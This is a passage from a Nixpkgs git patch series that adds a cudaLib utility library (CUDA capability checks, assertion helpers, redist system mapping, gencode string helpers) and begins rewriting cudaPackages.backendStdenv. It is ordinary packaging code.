+    Most commonly used in overrides files on a callPackage-provided attribute set of packages.
+
+    NOTE: We typically use platfromAssertions instead of brokenAssertions because the presence of packages set to null
+    means evaluation will fail if package attributes are accessed without checking for null first. OfBorg evaluation
+    sets allowBroken to true, which means we can't rely on brokenAssertions to prevent evaluation of a package with
+    missing dependencies.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    # Type
+
+    ```
+    _mkMissingPackagesAssertions
+      :: (attrs :: AttrSet)
+      -> (assertions :: List { assertion :: Bool, message :: String })
+    ```
+
+    # Inputs
+
+    `attrs`
+
+    : The attributes to check for null
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils._mkMissingPackagesAssertions` usage examples
+
+    ```nix
+    {
+      lib,
+      libcal ? null,
+      libcublas,
+      utils,
+    }:
+    let
+      inherit (lib.attrsets) recursiveUpdate;
+      inherit (cudaLib.utils) _mkMissingPackagesAssertions;
+    in
+    prevAttrs: {
+      passthru = prevAttrs.passthru or { } // {
+        platformAssertions =
+          prevAttrs.passthru.platformAssertions or [ ]
+          ++ _mkMissingPackagesAssertions { inherit libcal; };
+      };
+    }
+    ```
+    :::
+  */
+  _mkMissingPackagesAssertions = lib.flip lib.pipe [
+    # Take the attributes that are null.
+    (lib.filterAttrs (_: value: value == null))
+    lib.attrNames
+    # Map them to assertions.
+    (lib.map (name: {
+      message = "${name} is available";
+      assertion = false;
+    }))
+  ];
+}
diff --git a/pkgs/development/cuda-modules/lib/utils/cuda.nix b/pkgs/development/cuda-modules/lib/utils/cuda.nix
new file mode 100644
index 000000000000..e372fda0d1b5
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/utils/cuda.nix
@@ -0,0 +1,129 @@
+{ lib }:
+{
+  /**
+    Returns whether a capability should be built by default for a particular CUDA version.
+
+    Capabilities built by default are baseline, non-Jetson capabilities with relatively recent CUDA support.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    # Type
+
+    ```
+    _cudaCapabilityIsDefault
+      :: (cudaMajorMinorVersion :: Version)
+      -> (cudaCapabilityInfo :: CudaCapabilityInfo)
+      -> Bool
+    ```
+
+    # Inputs
+
+    `cudaMajorMinorVersion`
+
+    : The CUDA version to check
+
+    `cudaCapabilityInfo`
+
+    : The capability information to check
+  */
+  _cudaCapabilityIsDefault =
+    cudaMajorMinorVersion: cudaCapabilityInfo:
+    let
+      recentCapability =
+        cudaCapabilityInfo.dontDefaultAfterCudaMajorMinorVersion == null
+        || lib.versionAtLeast cudaCapabilityInfo.dontDefaultAfterCudaMajorMinorVersion cudaMajorMinorVersion;
+    in
+    recentCapability
+    && !cudaCapabilityInfo.isJetson
+    && !cudaCapabilityInfo.isArchitectureSpecific
+    && !cudaCapabilityInfo.isFamilySpecific;
+
+  /**
+    Returns whether a capability is supported for a particular CUDA version.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    # Type
+
+    ```
+    _cudaCapabilityIsSupported
+      :: (cudaMajorMinorVersion :: Version)
+      -> (cudaCapabilityInfo :: CudaCapabilityInfo)
+      -> Bool
+    ```
+
+    # Inputs
+
+    `cudaMajorMinorVersion`
+
+    : The CUDA version to check
+
+    `cudaCapabilityInfo`
+
+    : The capability information to check
+  */
+  _cudaCapabilityIsSupported =
+    cudaMajorMinorVersion: cudaCapabilityInfo:
+    let
+      lowerBoundSatisfied = lib.versionAtLeast cudaMajorMinorVersion cudaCapabilityInfo.minCudaMajorMinorVersion;
+      upperBoundSatisfied =
+        cudaCapabilityInfo.maxCudaMajorMinorVersion == null
+        || lib.versionAtLeast cudaCapabilityInfo.maxCudaMajorMinorVersion cudaMajorMinorVersion;
+    in
+    lowerBoundSatisfied && upperBoundSatisfied;
+
+  /**
+    Generates a CUDA variant name from a version.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    # Type
+
+    ```
+    _mkCudaVariant :: (version :: String) -> String
+    ```
+
+    # Inputs
+
+    `version`
+
+    : The version string
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils._mkCudaVariant` usage examples
+
+    ```nix
+    _mkCudaVariant "11.0"
+    => "cuda11"
+    ```
+    :::
+  */
+  _mkCudaVariant = version: "cuda${lib.versions.major version}";
+
+  /**
+    A predicate which, given a package, returns true if the package has a free license or one of NVIDIA's licenses.
+
+    This function is intended to be provided as `config.allowUnfreePredicate` when `import`-ing Nixpkgs.
+
+    # Type
+
+    ```
+    allowUnfreeCudaPredicate :: (package :: Package) -> Bool
+    ```
+  */
+  allowUnfreeCudaPredicate =
+    package:
+    lib.all (
+      license:
+      license.free
+      || lib.elem license.shortName [
+        "CUDA EULA"
+        "cuDNN EULA"
+        "cuSPARSELt EULA"
+        "cuTENSOR EULA"
+        "NVidia OptiX EULA"
+      ]
+    ) (lib.toList package.meta.license);
+}
diff --git a/pkgs/development/cuda-modules/lib/utils/default.nix b/pkgs/development/cuda-modules/lib/utils/default.nix
new file mode 100644
index 000000000000..ee9ace015fae
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/utils/default.nix
@@ -0,0 +1,49 @@
+{ cudaLib, lib }:
+{
+  # See ./assertions.nix for documentation.
+  inherit (import ./assertions.nix { inherit cudaLib lib; })
+    _evaluateAssertions
+    _mkFailedAssertionsString
+    _mkMissingPackagesAssertions
+    ;
+
+  # See ./cuda.nix for documentation.
+  inherit (import ./cuda.nix { inherit lib; })
+    _cudaCapabilityIsDefault
+    _cudaCapabilityIsSupported
+    _mkCudaVariant
+    allowUnfreeCudaPredicate
+    ;
+
+  # See ./meta.nix for documentation.
+  inherit (import ./meta.nix { inherit cudaLib lib; })
+    _mkMetaBadPlatforms
+    _mkMetaBroken
+    ;
+
+  # See ./redist.nix for documentation.
+  inherit (import ./redist.nix { inherit cudaLib lib; })
+    _redistSystemIsSupported
+    getNixSystems
+    getRedistSystem
+    mkRedistUrl
+    ;
+
+  # See ./strings.nix for documentation.
+  inherit (import ./strings.nix { inherit cudaLib lib; })
+    dotsToUnderscores
+    dropDots
+    formatCapabilities
+    mkCmakeCudaArchitecturesString
+    mkGencodeFlag
+    mkRealArchitecture
+    mkVersionedName
+    mkVirtualArchitecture
+    ;
+
+  # See ./versions.nix for documentation.
+  inherit (import ./versions.nix { inherit cudaLib lib; })
+    majorMinorPatch
+    trimComponents
+    ;
+}
diff --git a/pkgs/development/cuda-modules/lib/utils/meta.nix b/pkgs/development/cuda-modules/lib/utils/meta.nix
new file mode 100644
index 000000000000..327d4ae97d95
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/utils/meta.nix
@@ -0,0 +1,71 @@
+{ cudaLib, lib }:
+{
+  /**
+    Returns a list of bad platforms for a given package if assertsions in `finalAttrs.passthru.platformAssertions`
+    fail, optionally logging evaluation warnings for each reason.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    NOTE: This function requires `finalAttrs.passthru.platformAssertions` to be a list of assertions and
+    `finalAttrs.finalPackage.name` and `finalAttrs.finalPackage.stdenv` to be available.
+
+    # Type
+
+    ```
+    _mkMetaBadPlatforms :: (warn :: Bool) -> (finalAttrs :: AttrSet) -> List String
+    ```
+  */
+  _mkMetaBadPlatforms =
+    warn: finalAttrs:
+    let
+      failedAssertionsString = cudaLib.utils._mkFailedAssertionsString finalAttrs.passthru.platformAssertions;
+      hasFailedAssertions = failedAssertionsString != "";
+      finalStdenv = finalAttrs.finalPackage.stdenv;
+    in
+    lib.warnIf (warn && hasFailedAssertions)
+      "Package ${finalAttrs.finalPackage.name} is unsupported on this platform due to the following failed assertions:${failedAssertionsString}"
+      (
+        lib.optionals hasFailedAssertions (
+          lib.unique [
+            finalStdenv.buildPlatform.system
+            finalStdenv.hostPlatform.system
+            finalStdenv.targetPlatform.system
+          ]
+        )
+      );
+
+  /**
+    Returns a boolean indicating whether the package is broken as a result of `finalAttrs.passthru.brokenAssertions`,
+    optionally logging evaluation warnings for each reason.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    NOTE: This function requires `finalAttrs.passthru.brokenAssertions` to be a list of assertions and
+    `finalAttrs.finalPackage.name` to be available.
+
+    # Type
+
+    ```
+    _mkMetaBroken :: (warn :: Bool) -> (finalAttrs :: AttrSet) -> Bool
+    ```
+
+    # Inputs
+
+    `warn`
+
+    : A boolean indicating whether to log warnings
+
+    `finalAttrs`
+
+    : The final attributes of the package
+  */
+  _mkMetaBroken =
+    warn: finalAttrs:
+    let
+      failedAssertionsString = cudaLib.utils._mkFailedAssertionsString finalAttrs.passthru.brokenAssertions;
+      hasFailedAssertions = failedAssertionsString != "";
+    in
+    lib.warnIf (warn && hasFailedAssertions)
+      "Package ${finalAttrs.finalPackage.name} is marked as broken due to the following failed assertions:${failedAssertionsString}"
+      hasFailedAssertions;
+}
diff --git a/pkgs/development/cuda-modules/lib/utils/redist.nix b/pkgs/development/cuda-modules/lib/utils/redist.nix
new file mode 100644
index 000000000000..b9cd2a3b1e0d
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/utils/redist.nix
@@ -0,0 +1,196 @@
+{ cudaLib, lib }:
+{
+  /**
+    Returns a boolean indicating whether the provided redist system is supported by any of the provided redist systems.
+
+    NOTE: No guarantees are made about this function's stability. You may use it at your own risk.
+
+    # Type
+
+    ```
+    _redistSystemIsSupported
+      :: (redistSystem :: RedistSystem)
+      -> (redistSystems :: List RedistSystem)
+      -> Bool
+    ```
+
+    # Inputs
+
+    `redistSystem`
+
+    : The redist system to check
+
+    `redistSystems`
+
+    : The list of redist systems to check against
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils._redistSystemIsSupported` usage examples
+
+    ```nix
+    _redistSystemIsSupported "linux-x86_64" [ "linux-x86_64" ]
+    => true
+    ```
+
+    ```nix
+    _redistSystemIsSupported "linux-x86_64" [ "linux-aarch64" ]
+    => false
+    ```
+
+    ```nix
+    _redistSystemIsSupported "linux-x86_64" [ "linux-aarch64" "linux-x86_64" ]
+    => true
+    ```
+
+    ```nix
+    _redistSystemIsSupported "linux-x86_64" [ "linux-aarch64" "linux-all" ]
+    => true
+    ```
+    :::
+  */
+  _redistSystemIsSupported =
+    redistSystem: redistSystems:
+    lib.findFirst (
+      redistSystem':
+      redistSystem' == redistSystem || redistSystem' == "linux-all" || redistSystem' == "source"
+    ) null redistSystems != null;
+
+  /**
+    Maps a NVIDIA redistributable system to Nix systems.
+
+    NOTE: This function returns a list of systems because the redistributable systems `"linux-all"` and `"source"` can
+    be built on multiple systems.
+
+    NOTE: This function *will* be called by unsupported systems because `cudaPackages` is evaluated on all systems. As
+    such, we need to handle unsupported systems gracefully.
+
+    # Type
+
+    ```
+    getNixSystems :: (redistSystem :: RedistSystem) -> [String]
+    ```
+
+    # Inputs
+
+    `redistSystem`
+
+    : The NVIDIA redistributable system
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.getNixSystems` usage examples
+
+    ```nix
+    getNixSystems "linux-sbsa"
+    => [ "aarch64-linux" ]
+    ```
+
+    ```nix
+    getNixSystems "linux-aarch64"
+    => [ "aarch64-linux" ]
+    ```
+    :::
+  */
+  getNixSystems =
+    redistSystem:
+    if redistSystem == "linux-x86_64" then
+      [ "x86_64-linux" ]
+    else if redistSystem == "linux-sbsa" || redistSystem == "linux-aarch64" then
+      [ "aarch64-linux" ]
+    else if redistSystem == "linux-all" || redistSystem == "source" then
+      [
+        "aarch64-linux"
+        "x86_64-linux"
+      ]
+    else
+      [ ];
+
+  /**
+    Maps a Nix system to a NVIDIA redistributable system.
+
+    NOTE: We swap out the default `linux-sbsa` redist (for server-grade ARM chips) with the `linux-aarch64` redist
+    (which is for Jetson devices) if we're building any Jetson devices. Since both are based on aarch64, we can only
+    have one or the other, otherwise there's an ambiguity as to which should be used.
+
+    NOTE: This function *will* be called by unsupported systems because `cudaPackages` is evaluated on all systems. As
+    such, we need to handle unsupported systems gracefully.
+
+    # Type
+
+    ```
+    getRedistSystem :: (hasJetsonCudaCapability :: Bool) -> (nixSystem :: String) -> String
+    ```
+
+    # Inputs
+
+    `hasJetsonCudaCapability`
+
+    : If configured for a Jetson device
+
+    `nixSystem`
+
+    : The Nix system
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.getRedistSystem` usage examples
+
+    ```nix
+    getRedistSystem true "aarch64-linux"
+    => "linux-aarch64"
+    ```
+
+    ```nix
+    getRedistSystem false "aarch64-linux"
+    => "linux-sbsa"
+    ```
+    :::
+  */
+  getRedistSystem =
+    hasJetsonCudaCapability: nixSystem:
+    if nixSystem == "x86_64-linux" then
+      "linux-x86_64"
+    else if nixSystem == "aarch64-linux" then
+      if hasJetsonCudaCapability then "linux-aarch64" else "linux-sbsa"
+    else
+      "unsupported";
+
+  /**
+    Function to generate a URL for something in the redistributable tree.
+
+    # Type
+
+    ```
+    mkRedistUrl :: (redistName :: RedistName) -> (relativePath :: NonEmptyStr) -> RedistUrl
+    ```
+
+    # Inputs
+
+    `redistName`
+
+    : The name of the redistributable
+
+    `relativePath`
+
+    : The relative path to a file in the redistributable tree
+  */
+  mkRedistUrl =
+    redistName: relativePath:
+    lib.concatStringsSep "/" (
+      [ cudaLib.data.redistUrlPrefix ]
+      ++ (
+        if redistName != "tensorrt" then
+          [
+            redistName
+            "redist"
+          ]
+        else
+          [ "machine-learning" ]
+      )
+      ++ [ relativePath ]
+    );
+}
diff --git a/pkgs/development/cuda-modules/lib/utils/strings.nix b/pkgs/development/cuda-modules/lib/utils/strings.nix
new file mode 100644
index 000000000000..47a71b395f4f
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/utils/strings.nix
@@ -0,0 +1,379 @@
+{ cudaLib, lib }:
+{
+  /**
+    Replaces dots in a string with underscores.
+
+    # Type
+
+    ```
+    dotsToUnderscores :: (str :: String) -> String
+    ```
+
+    # Inputs
+
+    `str`
+
+    : The string for which dots shall be replaced by underscores
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.dotsToUnderscores` usage examples
+
+    ```nix
+    dotsToUnderscores "1.2.3"
+    => "1_2_3"
+    ```
+    :::
+  */
+  dotsToUnderscores = lib.replaceStrings [ "." ] [ "_" ];
+
+  /**
+    Removes the dots from a string.
+
+    # Type
+
+    ```
+    dropDots :: (str :: String) -> String
+    ```
+
+    # Inputs
+
+    `str`
+
+    : The string to remove dots from
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.dropDots` usage examples
+
+    ```nix
+    dropDots "1.2.3"
+    => "123"
+    ```
+    :::
+  */
+  dropDots = lib.replaceStrings [ "." ] [ "" ];
+
+  /**
+    Produces an attribute set of useful data and functionality for packaging CUDA software within Nixpkgs.
+
+    # Type
+
+    ```
+    formatCapabilities
+      :: { cudaCapabilityToInfo :: AttrSet CudaCapability CudaCapabilityInfo
+         , cudaCapabilities :: List CudaCapability
+         , cudaForwardCompat :: Bool
+         }
+      -> { cudaCapabilities :: List CudaCapability
+         , cudaForwardCompat :: Bool
+         , gencode :: List String
+         , realArches :: List String
+         , virtualArches :: List String
+         , archNames :: List String
+         , arches :: List String
+         , gencodeString :: String
+         , cmakeCudaArchitecturesString :: String
+         }
+    ```
+
+    # Inputs
+
+    `cudaCapabilityToInfo`
+
+    : A mapping of CUDA capabilities to their information
+
+    `cudaCapabilities`
+
+    : A list of CUDA capabilities to use
+
+    `cudaForwardCompat`
+
+    : A boolean indicating whether to include the forward compatibility gencode (+PTX) to support future GPU
+      generations
+  */
+  formatCapabilities =
+    {
+      cudaCapabilityToInfo,
+      cudaCapabilities,
+      cudaForwardCompat,
+    }:
+    let
+      /**
+        The real architectures for the given CUDA capabilities.
+
+        # Type
+
+        ```
+        realArches :: List String
+        ```
+      */
+      realArches = lib.map cudaLib.utils.mkRealArchitecture cudaCapabilities;
+
+      /**
+        The virtual architectures for the given CUDA capabilities.
+
+        These are typically used for forward compatibility, when trying to support an architecture newer than the CUDA
+        version allows.
+
+        # Type
+
+        ```
+        virtualArches :: List String
+        ```
+      */
+      virtualArches = lib.map cudaLib.utils.mkVirtualArchitecture cudaCapabilities;
+
+      /**
+        The gencode flags for the given CUDA capabilities.
+
+        # Type
+
+        ```
+        gencode :: List String
+        ```
+      */
+      gencode =
+        let
+          base = lib.map (cudaLib.utils.mkGencodeFlag "sm") cudaCapabilities;
+          forward = cudaLib.utils.mkGencodeFlag "compute" (lib.last cudaCapabilities);
+        in
+        base ++ lib.optionals cudaForwardCompat [ forward ];
+    in
+    {
+      inherit
+        cudaCapabilities
+        cudaForwardCompat
+        gencode
+        realArches
+        virtualArches
+        ;
+
+      /**
+        The architecture names for the given CUDA capabilities.
+
+        # Type
+
+        ```
+        archNames :: List String
+        ```
+      */
+      # E.g. [ "Ampere" "Turing" ]
+      archNames = lib.pipe cudaCapabilities [
+        (lib.map (cudaCapability: cudaCapabilityToInfo.${cudaCapability}.archName))
+        lib.unique
+        lib.naturalSort
+      ];
+
+      /**
+        The architectures for the given CUDA capabilities, including both real and virtual architectures.
+
+        When `cudaForwardCompat` is enabled, the last architecture in the list is used as the forward compatibility architecture.
+
+        # Type
+
+        ```
+        arches :: List String
+        ```
+      */
+      # E.g. [ "sm_75" "sm_86" "compute_86" ]
+      arches = realArches ++ lib.optionals cudaForwardCompat [ (lib.last virtualArches) ];
+
+      /**
+        The CMake-compatible CUDA architectures string for the given CUDA capabilities.
+
+        # Type
+
+        ```
+        cmakeCudaArchitecturesString :: String
+        ```
+      */
+      cmakeCudaArchitecturesString = cudaLib.utils.mkCmakeCudaArchitecturesString cudaCapabilities;
+
+      /**
+        The gencode string for the given CUDA capabilities.
+
+        # Type
+
+        ```
+        gencodeString :: String
+        ```
+      */
+      gencodeString = lib.concatStringsSep " " gencode;
+    };
+
+  /**
+    Produces a CMake-compatible CUDA architecture string from a list of CUDA capabilities.
+
+    # Type
+
+    ```
+    mkCmakeCudaArchitecturesString :: (cudaCapabilities :: List String) -> String
+    ```
+
+    # Inputs
+
+    `cudaCapabilities`
+
+    : The CUDA capabilities to convert
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.mkCmakeCudaArchitecturesString` usage examples
+
+    ```nix
+    mkCmakeCudaArchitecturesString [ "8.9" "10.0a" ]
+    => "89;100a"
+    ```
+    :::
+  */
+  mkCmakeCudaArchitecturesString = lib.concatMapStringsSep ";" cudaLib.utils.dropDots;
+
+  /**
+    Produces a gencode flag from a CUDA capability.
+
+    # Type
+
+    ```
+    mkGencodeFlag :: (archPrefix :: String) -> (cudaCapability :: String) -> String
+    ```
+
+    # Inputs
+
+    `archPrefix`
+
+    : The architecture prefix to use for the `code` field
+
+    `cudaCapability`
+
+    : The CUDA capability to convert
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.mkGencodeFlag` usage examples
+
+    ```nix
+    mkGencodeFlag "sm" "8.9"
+    => "-gencode=arch=compute_89,code=sm_89"
+    ```
+
+    ```nix
+    mkGencodeFlag "compute" "10.0a"
+    => "-gencode=arch=compute_100a,code=compute_100a"
+    ```
+    :::
+  */
+  mkGencodeFlag =
+    archPrefix: cudaCapability:
+    let
+      cap = cudaLib.utils.dropDots cudaCapability;
+    in
+    "-gencode=arch=compute_${cap},code=${archPrefix}_${cap}";
+
+  /**
+    Produces a real architecture string from a CUDA capability.
+
+    # Type
+
+    ```
+    mkRealArchitecture :: (cudaCapability :: String) -> String
+    ```
+
+    # Inputs
+
+    `cudaCapability`
+
+    : The CUDA capability to convert
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.mkRealArchitecture` usage examples
+
+    ```nix
+    mkRealArchitecture "8.9"
+    => "sm_89"
+    ```
+
+    ```nix
+    mkRealArchitecture "10.0a"
+    => "sm_100a"
+    ```
+    :::
+  */
+  mkRealArchitecture = cudaCapability: "sm_" + cudaLib.utils.dropDots cudaCapability;
+
+  /**
+    Create a versioned attribute name from a version by replacing dots with underscores.
+
+    # Type
+
+    ```
+    mkVersionedName :: (name :: String) -> (version :: Version) -> String
+    ```
+
+    # Inputs
+
+    `name`
+
+    : The name to use
+
+    `version`
+
+    : The version to use
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.mkVersionedName` usage examples
+
+    ```nix
+    mkVersionedName "hello" "1.2.3"
+    => "hello_1_2_3"
+    ```
+
+    ```nix
+    mkVersionedName "cudaPackages" "12.8"
+    => "cudaPackages_12_8"
+    ```
+    :::
+  */
+  mkVersionedName = name: version: "${name}_${cudaLib.utils.dotsToUnderscores version}";
+
+  /**
+    Produces a virtual architecture string from a CUDA capability.
+
+    # Type
+
+    ```
+    mkVirtualArchitecture :: (cudaCapability :: String) -> String
+    ```
+
+    # Inputs
+
+    `cudaCapability`
+
+    : The CUDA capability to convert
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.mkVirtualArchitecture` usage examples
+
+    ```nix
+    mkVirtualArchitecture "8.9"
+    => "compute_89"
+    ```
+
+    ```nix
+    mkVirtualArchitecture "10.0a"
+    => "compute_100a"
+    ```
+    :::
+  */
+  mkVirtualArchitecture = cudaCapability: "compute_" + cudaLib.utils.dropDots cudaCapability;
+}
diff --git a/pkgs/development/cuda-modules/lib/utils/versions.nix b/pkgs/development/cuda-modules/lib/utils/versions.nix
new file mode 100644
index 000000000000..976ad65b2b65
--- /dev/null
+++ b/pkgs/development/cuda-modules/lib/utils/versions.nix
@@ -0,0 +1,76 @@
+{ cudaLib, lib }:
+{
+  /**
+    Extracts the major, minor, and patch version from a string.
+
+    # Type
+
+    ```
+    majorMinorPatch :: (version :: String) -> String
+    ```
+
+    # Inputs
+
+    `version`
+
+    : The version string
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.majorMinorPatch` usage examples
+
+    ```nix
+    majorMinorPatch "11.0.3.4"
+    => "11.0.3"
+    ```
+    :::
+  */
+  majorMinorPatch = cudaLib.utils.trimComponents 3;
+
+  /**
+    Get a version string with no more than than the specified number of components.
+
+    # Type
+
+    ```
+    trimComponents :: (numComponents :: Integer) -> (version :: String) -> String
+    ```
+
+    # Inputs
+
+    `numComponents`
+    : A positive integer corresponding to the maximum number of components to keep
+
+    `version`
+    : A version string
+
+    # Examples
+
+    :::{.example}
+    ## `cudaLib.utils.trimComponents` usage examples
+
+    ```nix
+    trimComponents 1 "1.2.3.4"
+    => "1"
+    ```
+
+    ```nix
+    trimComponents 3 "1.2.3.4"
+    => "1.2.3"
+    ```
+
+    ```nix
+    trimComponents 9 "1.2.3.4"
+    => "1.2.3.4"
+    ```
+    :::
+  */
+  trimComponents =
+    n: v:
+    lib.pipe v [
+      lib.splitVersion
+      (lib.take n)
+      (lib.concatStringsSep ".")
+    ];
+}
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index c112851029c1..54ef290488f5 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2723,6 +2723,8 @@ with pkgs;
 
   cron = isc-cron;
 
+  cudaLib = import ../development/cuda-modules/lib;
+
   cudaPackages_11_0 = callPackage ./cuda-packages.nix { cudaMajorMinorVersion = "11.0"; };
   cudaPackages_11_1 = callPackage ./cuda-packages.nix { cudaMajorMinorVersion = "11.1"; };
   cudaPackages_11_2 = callPackage ./cuda-packages.nix { cudaMajorMinorVersion = "11.2"; };

From fd906c82526aee6deed02acb4a292ca39b2680b7 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Fri, 9 May 2025 23:07:38 +0000
Subject: [PATCH 0099/4511] cudaPackages: rewrite backendStdenv

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 629ae4e42c4764f1e56cd64746a3f19e28ff62a0)
---
 .../cuda-modules/packages/backendStdenv.nix   | 148 ++++++++++++++++--
 1 file changed, 135 insertions(+), 13 deletions(-)

diff --git a/pkgs/development/cuda-modules/packages/backendStdenv.nix b/pkgs/development/cuda-modules/packages/backendStdenv.nix
index b3595835fe38..ac9a8ebaf44f 100644
--- a/pkgs/development/cuda-modules/packages/backendStdenv.nix
+++ b/pkgs/development/cuda-modules/packages/backendStdenv.nix
@@ -1,4 +1,3 @@
-# Exposed as cudaPackages.backendStdenv.
 # This is what nvcc uses as a backend,
 # and it has to be an officially supported one (e.g. gcc11 for cuda11).
 #
@@ -7,26 +6,149 @@
 # E.g. for cudaPackages_11_8 we use gcc11 with gcc12's libstdc++
 # Cf. https://github.com/NixOS/nixpkgs/pull/218265 for context
 {
+  config,
+  cudaLib,
   cudaMajorMinorVersion,
   lib,
-  nvccCompatibilities,
   pkgs,
   stdenv,
   stdenvAdapters,
 }:
-
 let
-  gccMajorVersion = nvccCompatibilities.${cudaMajorMinorVersion}.gccMaxMajorVersion;
-  cudaStdenv = stdenvAdapters.useLibsFrom stdenv pkgs."gcc${gccMajorVersion}Stdenv";
+  inherit (builtins) toJSON;
+  inherit (cudaLib.data) allSortedCudaCapabilities cudaCapabilityToInfo nvccCompatibilities;
+  inherit (cudaLib.utils)
+    _cudaCapabilityIsDefault
+    _cudaCapabilityIsSupported
+    _evaluateAssertions
+    getRedistSystem
+    mkVersionedName
+    ;
+  inherit (lib) addErrorContext;
+  inherit (lib.customisation) extendDerivation;
+  inherit (lib.lists) filter intersectLists subtractLists;
+
+  # NOTE: By virtue of processing a sorted list (allSortedCudaCapabilities), our groups will be sorted.
+
+  architectureSpecificCudaCapabilities = filter (
+    cudaCapability: cudaCapabilityToInfo.${cudaCapability}.isArchitectureSpecific
+  ) allSortedCudaCapabilities;
+
+  familySpecificCudaCapabilities = filter (
+    cudaCapability: cudaCapabilityToInfo.${cudaCapability}.isFamilySpecific
+  ) allSortedCudaCapabilities;
+
+  jetsonCudaCapabilities = filter (
+    cudaCapability: cudaCapabilityToInfo.${cudaCapability}.isJetson
+  ) allSortedCudaCapabilities;
+
   passthruExtra = {
-    # cudaPackages.backendStdenv.nixpkgsCompatibleLibstdcxx has been removed,
-    # if you need it you're likely doing something wrong. There has been a
-    # warning here for a month or so. Now we can no longer return any
-    # meaningful value in its place and drop the attribute entirely.
+    nvccHostCCMatchesStdenvCC = backendStdenv.cc == stdenv.cc;
+
+    # The Nix system of the host platform.
+    hostNixSystem = stdenv.hostPlatform.system;
+
+    # The Nix system of the host platform for the CUDA redistributable.
+    hostRedistSystem = getRedistSystem passthruExtra.hasJetsonCudaCapability stdenv.hostPlatform.system;
+
+    # Sets whether packages should be built with forward compatibility.
+    # TODO(@connorbaker): If the requested CUDA capabilities are not supported by the current CUDA version,
+    # should we throw an evaluation warning and build with forward compatibility?
+    cudaForwardCompat = config.cudaForwardCompat or true;
+
+    # CUDA capabilities which are supported by the current CUDA version.
+    supportedCudaCapabilities = filter (
+      cudaCapability:
+      _cudaCapabilityIsSupported cudaMajorMinorVersion cudaCapabilityToInfo.${cudaCapability}
+    ) allSortedCudaCapabilities;
+
+    # Find the default set of capabilities for this CUDA version using the list of supported capabilities.
+    # Includes only baseline capabilities.
+    defaultCudaCapabilities = filter (
+      cudaCapability:
+      _cudaCapabilityIsDefault cudaMajorMinorVersion cudaCapabilityToInfo.${cudaCapability}
+    ) passthruExtra.supportedCudaCapabilities;
+
+    # The resolved requested or default CUDA capabilities.
+    cudaCapabilities =
+      if config.cudaCapabilities or [ ] != [ ] then
+        config.cudaCapabilities
+      else
+        passthruExtra.defaultCudaCapabilities;
+
+    # Requested architecture-specific CUDA capabilities.
+    requestedArchitectureSpecificCudaCapabilities = intersectLists architectureSpecificCudaCapabilities passthruExtra.cudaCapabilities;
+
+    # Whether the requested CUDA capabilities include architecture-specific CUDA capabilities.
+    hasArchitectureSpecificCudaCapability =
+      passthruExtra.requestedArchitectureSpecificCudaCapabilities != [ ];
+
+    # Requested family-specific CUDA capabilities.
+    requestedFamilySpecificCudaCapabilities = intersectLists familySpecificCudaCapabilities passthruExtra.cudaCapabilities;
+
+    # Whether the requested CUDA capabilities include family-specific CUDA capabilities.
+    hasFamilySpecificCudaCapability = passthruExtra.requestedFamilySpecificCudaCapabilities != [ ];
+
+    # Requested Jetson CUDA capabilities.
+    requestedJetsonCudaCapabilities = intersectLists jetsonCudaCapabilities passthruExtra.cudaCapabilities;
+
+    # Whether the requested CUDA capabilities include Jetson CUDA capabilities.
+    hasJetsonCudaCapability = passthruExtra.requestedJetsonCudaCapabilities != [ ];
   };
-  assertCondition = true;
+
+  assertions =
+    let
+      # Jetson devices cannot be targeted by the same binaries which target non-Jetson devices. While
+      # NVIDIA provides both `linux-aarch64` and `linux-sbsa` packages, which both target `aarch64`,
+      # they are built with different settings and cannot be mixed.
+      jetsonMesssagePrefix = "Jetson CUDA capabilities (${toJSON passthruExtra.requestedJetsonCudaCapabilities})";
+
+      # Remove all known capabilities from the user's list to find unrecognized capabilities.
+      unrecognizedCudaCapabilities = subtractLists allSortedCudaCapabilities passthruExtra.cudaCapabilities;
+
+      # Remove all supported capabilities from the user's list to find unsupported capabilities.
+      unsupportedCudaCapabilities = subtractLists passthruExtra.supportedCudaCapabilities passthruExtra.cudaCapabilities;
+    in
+    [
+      {
+        message = "Unrecognized CUDA capabilities: ${toJSON unrecognizedCudaCapabilities}";
+        assertion = unrecognizedCudaCapabilities == [ ];
+      }
+      {
+        message = "Unsupported CUDA capabilities: ${toJSON unsupportedCudaCapabilities}";
+        assertion = unsupportedCudaCapabilities == [ ];
+      }
+      {
+        message =
+          "${jetsonMesssagePrefix} require hostPlatform (currently ${passthruExtra.hostNixSystem}) "
+          + "to be aarch64-linux";
+        assertion = passthruExtra.hasJetsonCudaCapability -> passthruExtra.hostNixSystem == "aarch64-linux";
+      }
+      {
+        message =
+          let
+            # Find the capabilities which are not Jetson capabilities.
+            requestedNonJetsonCudaCapabilities = subtractLists (
